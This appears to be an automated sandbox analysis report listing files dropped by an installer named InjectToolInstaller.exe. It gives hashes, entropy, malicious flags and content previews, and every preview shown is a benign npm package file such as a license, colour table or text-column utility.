Preview:	const conversions = require('./conversions');../..This function routes a model to all other models....all functions that are routed have a property `.conversion` attached..to the returned synthetic function. This property is an array..of strings, each with the steps in between the 'from' and 'to'..color models (inclusive)....conversions that are not possible simply are not included../..function buildGraph() {..const graph = {};..// https://jsperf.com/object-keys-vs-for-in-with-closure/3..const models = Object.keys(conversions);...for (let len = models.length, i = 0; i < len; i++) {...graph[models[i]] = {....// http://jsperf.com/1-vs-infinity....// micro-opt, but this is simple.....distance: -1,....parent: null...};..}...return graph;.}..// https://en.wikipedia.org/wiki/Breadth-first_search.function deriveBFS(fromModel) {..const graph = buildGraph();..const queue = [fromModel]; // Unshift -> queue -> pop...graph[fromModel].distance = 0;...while (queue.length) {...const current = queue

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-name\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460), with CRLF line terminators
Category:	dropped
Size (bytes):	1085
Entropy (8bit):	5.088650631742458
Encrypted:	false
SSDEEP:	24:C2r4JHBH0yPP3gtAJq1hp9QHcsUv48Ok4/+dbo3oqxFz:C28JplPvEDTQHcs5ITc3omFz
MD5:	D301869B39E08B33665B7C4F16B8E41D
SHA1:	E8BC789B6DC24E4C3FC4D208364DD6B029A81EB1
SHA-256:	C064F7A3E353BC1BC977F3C897941C75EF763F44F41677E0A15370CA0853D6E2
SHA-512:	FC1D65352C114C7594C9BEDF5BE432BA39D426FEAF50BF8F7C52D32781323C84BFC9A68531AEFB558C97EBE46E712E1D35D860BA1E1A6AB48B4A79B894092540
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Dmitry Ivanov....Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:....The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.....THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OU

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-name\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4617
Entropy (8bit):	4.906237132045593
Encrypted:	false
SSDEEP:	48:2UjYDSI/sGH0LU2pkptyuoD+5Q1gEeHScW1wsb8RkMq+txMtuWJaf+DUC5xVO:Z8DSdGepkpguogQKmqstuWJafYU
MD5:	405840EC3052209F357288FE4C0F4414
SHA1:	DB20105DC898FA8AA6706492502431C680C0DC94
SHA-256:	97DABD7EBB70C33C19CCFA6956377FC722D9769924903F42A3BEDE30D83A8592
SHA-512:	9DE93EE7B458A9D6B97664022909AD25A7CB89C2CFDD8EE19AA2E126566B7A7A930B24143A2A76F83DBFF19F1A67B0A71DE93E8AB248720C2EE243396E869451
Malicious:	false
Preview:	'use strict'....module.exports = {..."aliceblue": [240, 248, 255],..."antiquewhite": [250, 235, 215],..."aqua": [0, 255, 255],..."aquamarine": [127, 255, 212],..."azure": [240, 255, 255],..."beige": [245, 245, 220],..."bisque": [255, 228, 196],..."black": [0, 0, 0],..."blanchedalmond": [255, 235, 205],..."blue": [0, 0, 255],..."blueviolet": [138, 43, 226],..."brown": [165, 42, 42],..."burlywood": [222, 184, 135],..."cadetblue": [95, 158, 160],..."chartreuse": [127, 255, 0],..."chocolate": [210, 105, 30],..."coral": [255, 127, 80],..."cornflowerblue": [100, 149, 237],..."cornsilk": [255, 248, 220],..."crimson": [220, 20, 60],..."cyan": [0, 255, 255],..."darkblue": [0, 0, 139],..."darkcyan": [0, 139, 139],..."darkgoldenrod": [184, 134, 11],..."darkgray": [169, 169, 169],..."darkgreen": [0, 100, 0],..."darkgrey": [169, 169, 169],..."darkkhaki": [189, 183, 107],..."darkmagenta": [139, 0, 139],..."darkolivegreen": [85, 107, 47],..."darkorange": [255, 140, 0],..."darkorchid": [153, 50, 204],

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-name\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	607
Entropy (8bit):	4.684474967405876
Encrypted:	false
SSDEEP:	12:kAg1eJRoP6aVuGTV+qTOIrUxMU4mPAQkG9xEmjYveIPgJwY8gJAe:s1YRo9rdPUb7WbI6+V
MD5:	EF649E8B7BE42BBA6D4FA34ACA7E126A
SHA1:	411D7C87D5B1DEC0D479AA13E3406B5C38AC34F5
SHA-256:	4A557EA373907E4643BADB89FF21B3F4B969D20631086D78EAB2E03D05C2EFA4
SHA-512:	1390AB3DE4CD21A6407EDC2A309A644FC3C335A994254AEE6C72D367A4639F797D46F24A48BC3A3065D3E9201C44757796D2CE49339AD47BE443BFC650EA1A1F
Malicious:	false
Preview:	{.. "name": "color-name",.. "version": "1.1.4",.. "description": "A list of color names and its values",.. "main": "index.js",.. "files": [.. "index.js".. ],.. "scripts": {.. "test": "node test.js".. },.. "repository": {.. "type": "git",.. "url": "git@github.com:colorjs/color-name.git".. },.. "keywords": [.. "color-name",.. "color",.. "color-keyword",.. "keyword".. ],.. "author": "DY <dfcreative@gmail.com>",.. "license": "MIT",.. "bugs": {.. "url": "https://github.com/colorjs/color-name/issues".. },.. "homepage": "https://github.com/colorjs/color-name"..}..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	127
Entropy (8bit):	4.884251265065465
Encrypted:	false
SSDEEP:	3:TKQWaHMPM2mdEmQVVKXjwplPE3A27FR5VGD2QLWibdVVKXvxcj:HWaH6m8mWEw05VGDVxDqxcj
MD5:	8992F6C36C7C0A8235EE07694694E7CF
SHA1:	963767ADC579A51EFD3722F8BE3C6257C48DB3F5
SHA-256:	A797F6FEA8A46F7ADF24FB22DB2C880E8202587094BEA0F83029C81C66FB7048
SHA-512:	9BBB024879AD71980E67C982449100C8CD6B1420EE97D11BBD1E0D49E9BADDBC51C89AF2A7B08CFAC92E09D934C735A9DA1E721977F555A2158EF4DC1F0125EB
Malicious:	true
Joe Sandbox View:	Filename: JWQgbclQK5, Detection: malicious, Browse
Preview:	#!/usr/bin/env node.var colorSupport = require('./')({alwaysReturn: true }).console.log(JSON.stringify(colorSupport, null, 2)).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\browser.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	4.63463708448563
Encrypted:	false
SSDEEP:	6:xBBiuUX0vfMyqburptodRyLJuxaEKVmzlvHy:xBBokA0cdkLc9OmzlvHy
MD5:	2FB21D73D3D22C7A3F9F0256BFA01CBB
SHA1:	E39DECE49FD6F7410FA20DA197132F991A2C1A30
SHA-256:	A0532D349B9B40BB943268E6739E627C5B38A1C8D8365ABA531C7B037ECC5540
SHA-512:	B011D8FCDE97A850D5E9BB902582C42BBF69B822036AFE0E8780CFDEA0D96114355DF41F42499B37D3CA7D220248CE8022352AD261DA11CC72D51FFE8C7B302C
Malicious:	false
Preview:	module.exports = colorSupport({ alwaysReturn: true }, colorSupport)..function colorSupport(options, obj) {. obj = obj \|\| {}. options = options \|\| {}. obj.level = 0. obj.hasBasic = false. obj.has256 = false. obj.has16m = false. if (!options.alwaysReturn) {. return false. }. return obj.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2644
Entropy (8bit):	4.831569323957088
Encrypted:	false
SSDEEP:	48:2wfANScv/r/m/rUmFTrvmFFfr1mKnQrcjzAKWWI7rhlAKnGAKByGTEAOQVK7M4ZB:2w8SKDJQHQFwjrizAZjrhlACGAIyGTEX
MD5:	3B42FF5BA9CDD245B3572A0FC356EDBD
SHA1:	25530A33C89CA0339856A7BB5A242082877A6526
SHA-256:	A6F7EE23BA6076142570631A197FAF48E749D21140D37DA2B3B447DA20476ED1
SHA-512:	4D50E6751CF13814FC050A73E6DF93513724E310A070D895E96BB5960200A6355B98C15DEABDF30B2BD8283607E724547C73FE90D6B994F5628C6E5E4B744E4F
Malicious:	false
Preview:	// call it on itself so we can test the export val for basic stuff.module.exports = colorSupport({ alwaysReturn: true }, colorSupport)..function hasNone (obj, options) {. obj.level = 0. obj.hasBasic = false. obj.has256 = false. obj.has16m = false. if (!options.alwaysReturn) {. return false. }. return obj.}..function hasBasic (obj) {. obj.hasBasic = true. obj.has256 = false. obj.has16m = false. obj.level = 1. return obj.}..function has256 (obj) {. obj.hasBasic = true. obj.has256 = true. obj.has16m = false. obj.level = 2. return obj.}..function has16m (obj) {. obj.hasBasic = true. obj.has256 = true. obj.has16m = true. obj.level = 3. return obj.}..function colorSupport (options, obj) {. options = options \|\| {}.. obj = obj \|\| {}.. // if just requesting a specific level, then return that.. if (typeof options.level === 'number') {. switch (options.level) {. case 0:. return hasNone(obj, options). case 1:. return hasBasic(obj). case

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-support\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.656350362403703
Encrypted:	false
SSDEEP:	24:uH1MJxZ5/ZMp6uP1w1GAie0SLUkBo93Fx:uVMlcpF94Gfe0SokBo5Fx
MD5:	B1C3FAE9AB1D7FB995EAD4D841D60D2A
SHA1:	A47D93A86D7864EB1866A3367F7C5ACE53DC18D1
SHA-256:	BAF5CCA1519CFAA530A21810BDA9FE6236082D855A59FF66F5EF437BF51451EB
SHA-512:	0DE27E397E8BE0A69A8185834EC440AB8F24C8F3A82C0FBF4B6B4CF4A144C7B0DFA13FE1B97E8C5AE63A0FDA32D8F9F959A61C44D605841163B34A2248917AB5
Malicious:	false
Preview:	{. "name": "color-support",. "version": "1.1.3",. "description": "A module which will endeavor to guess your terminal's level of color support.",. "main": "index.js",. "browser": "browser.js",. "bin": "bin.js",. "devDependencies": {. "tap": "^10.3.3". },. "scripts": {. "test": "tap test/*.js --100 -J",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --all; git push origin --tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/color-support.git". },. "keywords": [. "terminal",. "color",. "support",. "xterm",. "truecolor",. "256". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "browser.js",. "index.js",. "bin.js". ].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1076
Entropy (8bit):	5.1048386886385435
Encrypted:	false
SSDEEP:	24:bQIrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:b1aJHlxE35QHOs5exm3ogF5n
MD5:	08307CA687A9024E20C568930D2FC768
SHA1:	5912191FF3993E5BE32F7901B08C6504A897748B
SHA-256:	663B13CC23087AE9CA076A7F9205FB9692A96A701308CAFB4DC219F6551AD902
SHA-512:	C50BE86DDC4FB7AC7BFF1768510AFD178BCD7C63C22CCB5F03BABF3E385A2EE09722EA2000332628459F75D0D7904AB8FD82377BD43460B290FC1BAC7F04619C
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2013 Tim Oxley..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\Makefile

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	makefile script, ASCII text
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.6335608404992685
Encrypted:	false
SSDEEP:	3:46fAoNQsJXNidoAtKWvOSprY7YkAo5tQQoXNv:4KDNXoKFSpk7LDzDi
MD5:	5355C8674096804066FD4E6C161B5F45
SHA1:	41B27B5C8426CA4ED9E44DC158B116ADA56BC5F5
SHA-256:	11B020FB89F1C8ECB6825D6A898532D19E55C6363611551075A318617DE521F7
SHA-512:	68FAC1B930961D23FA58FE4BE18357E759410EF5E37739C5ACF6E9557EA412478AF2847A2C7B85183E3611F09A8DF9391EBC127908986B333277146193679775
Malicious:	false
Preview:	.all: columnify.js..prepublish: all..columnify.js: index.js package.json..babel index.js > columnify.js...PHONY: all prepublish.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\columnify.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	10150
Entropy (8bit):	4.910712036830618
Encrypted:	false
SSDEEP:	192:FY743XSNYZU/n/kpI/nI3fZxx/mt/I/YxTsy/QcRR1/pWQ0t/p83mnuW1CqCHaKU:EI5C9TZYAcl
MD5:	49542B554EC85DB30B5CD17DDF89592F
SHA1:	C4BCCB356B3D8D0EE40E2E489A2808A9832398A8
SHA-256:	7FF2B362D1BC6F7DC889D76CEAA4AFBA76CE9017D96920C2AA922FDA9F10077A
SHA-512:	075932D5E95FCA7A915F0F068380205FF40F4D7CB6D7726C868A108363A1F1F744D3223B3B439C17E875284646EB9346217D7E51C740D626BFF79280A8128BD4
Malicious:	false
Preview:	"use strict";..var wcwidth = require('./width');..var _require = require('./utils'),. padRight = _require.padRight,. padCenter = _require.padCenter,. padLeft = _require.padLeft,. splitIntoLines = _require.splitIntoLines,. splitLongWords = _require.splitLongWords,. truncateString = _require.truncateString;..var DEFAULT_HEADING_TRANSFORM = function DEFAULT_HEADING_TRANSFORM(key) {. return key.toUpperCase();.};..var DEFAULT_DATA_TRANSFORM = function DEFAULT_DATA_TRANSFORM(cell, column, index) {. return cell;.};..var DEFAULTS = Object.freeze({. maxWidth: Infinity,. minWidth: 0,. columnSplitter: ' ',. truncate: false,. truncateMarker: '.',. preserveNewLines: false,. paddingChr: ' ',. showHeaders: true,. headingTransform: DEFAULT_HEADING_TRANSFORM,. dataTransform: DEFAULT_DATA_TRANSFORM.});..module.exports = function (items) {. var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};... var columnConfigs = options.config \|\| {};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9408
Entropy (8bit):	4.86440488043835
Encrypted:	false
SSDEEP:	192:cooqeSsZPwBuMrE+YHQfz5rNgCHMC5S2nKQ4tup8xnuE1QqCHaw5Ak:N8Z6wan08Ak
MD5:	87F9020A236DB3C585B8DC902AFD425A
SHA1:	189927A80AEBE71902F225961CCD7B16441B048C
SHA-256:	76B16A8F457C2F63684A1CFC170B219BB6C70D54D8AE6DF78AB2C63C6CA5490D
SHA-512:	3670FC7EF47464992473B6D56049E7A263A1A414156EDA625767250FD56904C09C7BEAE4446BB560412FD50D16E180178FE97469C6E698F3D31257ACA6A04FF2
Malicious:	false
Preview:	"use strict"..const wcwidth = require('./width').const {. padRight,. padCenter,. padLeft,. splitIntoLines,. splitLongWords,. truncateString.} = require('./utils')..const DEFAULT_HEADING_TRANSFORM = key => key.toUpperCase()..const DEFAULT_DATA_TRANSFORM = (cell, column, index) => cell..const DEFAULTS = Object.freeze({. maxWidth: Infinity,. minWidth: 0,. columnSplitter: ' ',. truncate: false,. truncateMarker: '.',. preserveNewLines: false,. paddingChr: ' ',. showHeaders: true,. headingTransform: DEFAULT_HEADING_TRANSFORM,. dataTransform: DEFAULT_DATA_TRANSFORM.})..module.exports = function(items, options = {}) {.. let columnConfigs = options.config \|\| {}. delete options.config // remove config so doesn't appear on every column... let maxLineWidth = options.maxLineWidth \|\| Infinity. if (maxLineWidth === 'auto') maxLineWidth = process.stdout.columns \|\| Infinity. delete options.maxLineWidth // this is a line control option, don't pass it to column.. // Option default

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	4.647832327179969
Encrypted:	false
SSDEEP:	24:H1knyuNw2+ylRw3mpMpt/j032qAkyu0mL:VktA3mpMptLYNAGp
MD5:	F8925236995717F77692C528BC0C0797
SHA1:	2CFBE3A16BFEA5927381B82A926376A2AEC4D966
SHA-256:	CDCAFA6178F068D0C572EBD8912FCF7E6DCCDF129807CF32E23274E2B6957E87
SHA-512:	49E891B8046D4DF4655874B9F91E1C7E0CE61E620180D1A86DEE604A79ED20D632BE7CADB07D06CABAA825A420B6A07B6401D655650D48C89B1EFBFF9A2B6730
Malicious:	false
Preview:	{. "name": "columnify",. "version": "1.6.0",. "description": "Render data in text columns. Supports in-column text-wrap.",. "main": "columnify.js",. "scripts": {. "pretest": "npm prune",. "test": "make prepublish && tape test/*.js \| tap-spec",. "bench": "npm test && node bench",. "prepublish": "make prepublish". },. "babel": {. "presets": [. "es2015". ]. },. "author": "Tim Oxley",. "license": "MIT",. "devDependencies": {. "babel-cli": "^6.26.0",. "babel-preset-es2015": "^6.3.13",. "chalk": "^1.1.1",. "tap-spec": "^5.0.0",. "tape": "^4.4.0". },. "repository": {. "type": "git",. "url": "git://github.com/timoxley/columnify.git". },. "keywords": [. "column",. "text",. "ansi",. "console",. "terminal",. "wrap",. "table". ],. "bugs": {. "url": "https://github.com/timoxley/columnify/issues". },. "homepage": "https://github.com/timoxley/columnify",. "engines": {. "node": ">=8.0.0". },. "dependencies": {

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\utils.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4868
Entropy (8bit):	4.679076054927397
Encrypted:	false
SSDEEP:	96:yfgCglScgVg4SyafCggS/7+sKYR6HjOqgzJW9tQbW3YTi8tK7fbH2kv:1FWeyuFLbKYRqiVzJWXQb6B7fbHTv
MD5:	5A7570788ADA0C746B8C5B777BCA0CA5
SHA1:	D9879EA1C8C698F3D50B25865F20284B58E5066B
SHA-256:	7F15B636C9A765AB4D2847033CB6D59D249CA9CBE8D0DF86A42B3C98088B6DE4
SHA-512:	4E9C0323B39A2D88682439FECEB1BC67A7F7241BF02CE9467E7B5A7C025EAABE0840EB48BEFB966AC9257DDDD4520DFC2AE1E87E34488EC30FB49244FE723422
Malicious:	false
Preview:	"use strict"..var wcwidth = require('./width')../*. repeat string `str` up to total length of `len`. . @param String str string to repeat. * @param Number len total length of output string. /..function repeatString(str, len) {. return Array.apply(null, {length: len + 1}).join(str).slice(0, len).}../. Pad `str` up to total length `max` with `chr`.. * If `str` is longer than `max`, padRight will return `str` unaltered.. . @param String str string to pad. * @param Number max total length of output string. * @param String chr optional. Character to pad with. default: ' '. * @return String padded str. /..function padRight(str, max, chr) {. str = str != null ? str : ''. str = String(str). var length = max - wcwidth(str). if (length <= 0) return str. return str + repeatString(chr \|\| ' ', length).}../. Pad `str` up to total length `max` with `chr`.. * If `str` is longer than `max`, padCenter will return `str` unaltered.. . @param String str string to pad. * @param N

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\columnify\width.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.529608569491726
Encrypted:	false
SSDEEP:	3:qwkV0U+nYILSARNFoXxp6F0CMvvxQ0BbXQEedy+oFMnNNWcVVPCn:qwkV0lm8o3vvDBUEV2fWkVq
MD5:	668311398574976B850091EB3DECBCF7
SHA1:	48F373DD5AEFC15200455E43BB9914937B0550BA
SHA-256:	71896BE4081D4B40EA406D7E93FEE850B5CE1D8908600802B4C4D4FB2A6469C0
SHA-512:	C332A2550FD1F99300FE049F309158A08B5FD5BA3CED0A5FC14AB50BD6928210CEB65AF864E7E90A458D4E483D67A9ED96CAAE290BC724927401DF052170AE27
Malicious:	false
Preview:	var stripAnsi = require('strip-ansi').var wcwidth = require('wcwidth')..module.exports = function(str) {. return wcwidth(stripAnsi(str)).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\common-ancestor-path\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	748
Entropy (8bit):	4.9874659390608365
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZFCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	90A3CA01A5EFED8B813A81C6C8FA2E63
SHA1:	515EC4469197395143DD4BFE9B1BC4E0D9B6B12A
SHA-256:	05DC4D785AC3A488676D3ED10E901B75AD89DAFCC63F8E66610FD4A39CC5C7E8
SHA-512:	C9D6162BEF9880A5AB6A5AFE96F3EC1BD9DEAD758CA427F9BA2E8E9D9ADAAF5649AAD942F698F39B7A9A437984F8DC09141F3834CD78B03104F81AD908D15B31
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\common-ancestor-path\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	473
Entropy (8bit):	4.701334553412103
Encrypted:	false
SSDEEP:	12:eJs5vbiXZn4I/YV0K/6RrHvJZKu5i7jQNdNfBHe1VRw:qs5vbiXZZ1K/8nKu5iuBis
MD5:	B925423B9D36518906CCF8DF27A9B289
SHA1:	8FDFFE34FEDAA3492EC386C4236F6787F5418504
SHA-256:	BCE14984C7D02CEA4E5EDAA60ADDF63F26DD2DDF99CA7AE8072E2C72BF7448BE
SHA-512:	A4AF2C26475D4D7981A41CD78F92184F715DE8274F44C43AB698A3970C2FC6E9C1E470CD0045D16A6AE84DE0B31A67ACAE17B733607FEDF07A728FBD498E8221
Malicious:	false
Preview:	const {parse, sep, normalize: norm} = require('path')..function* commonArrayMembers (a, b) {. const [l, s] = a.length > b.length ? [a, b] : [b, a]. for (const x of s) {. if (x === l.shift()). yield x. else. break. }.}..const commonAncestorPath = (a, b) => a === b ? a. : parse(a).root !== parse(b).root ? null. : [...commonArrayMembers(norm(a).split(sep), norm(b).split(sep))].join(sep)..module.exports = (...paths) => paths.reduce(commonAncestorPath).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\common-ancestor-path\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	4.683918865015684
Encrypted:	false
SSDEEP:	12:Cd185/GCi6rg2gAaMbmWmNyy4V/PAP1U2M1bIb4FmlZgpfOC01D:Cd1Jmg2NE/yyUPAP1w10b4FiP1D
MD5:	B762C7452234B29BA060BB74D335AF83
SHA1:	164A1ACBC7CC3127C78C5DA7B26667BF93B8B8C3
SHA-256:	955A82F4789B3F8F8AE204BBA817F18C7FA732ACA47CEB93538F749890E9DDF3
SHA-512:	3734F3827F228DA8E06991C38645EBCC9065B69A38733A2785CA591100D99217F413AF6DE4A11070FAE1311EE1F28CE4A731091474B1C2A9A3C1913AEA7F3658
Malicious:	false
Preview:	{. "name": "common-ancestor-path",. "version": "1.0.1",. "files": [. "index.js". ],. "description": "Find the common ancestor of 2 or more paths on Windows or Unix",. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/common-ancestor-path". },. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "require-inject": "^1.4.4",. "tap": "^14.10.7". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\concat-map\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	5.050160375695032
Encrypted:	false
SSDEEP:	24:WbRrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:uSJrlxEDdQHOs52TSaYFD
MD5:	AEA1CDE69645F4B99BE4FF7CA9ABCCE1
SHA1:	B2E68CE937C1F851926F7E10280CC93221D4F53C
SHA-256:	435A6722C786B0A56FBE7387028F1D9D3F3A2D0FB615BB8FEE118727C3F59B7B
SHA-512:	518113037EE03540CAAE63058A98525F9A4A67425BD8C3596F697BED5AE1D2053FE76F76B85A4EEFB80CC519F7B03D368CF4B445288C4CA7CACB5E7523F33962
Malicious:	false
Preview:	This software is released under the MIT license:..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.CO

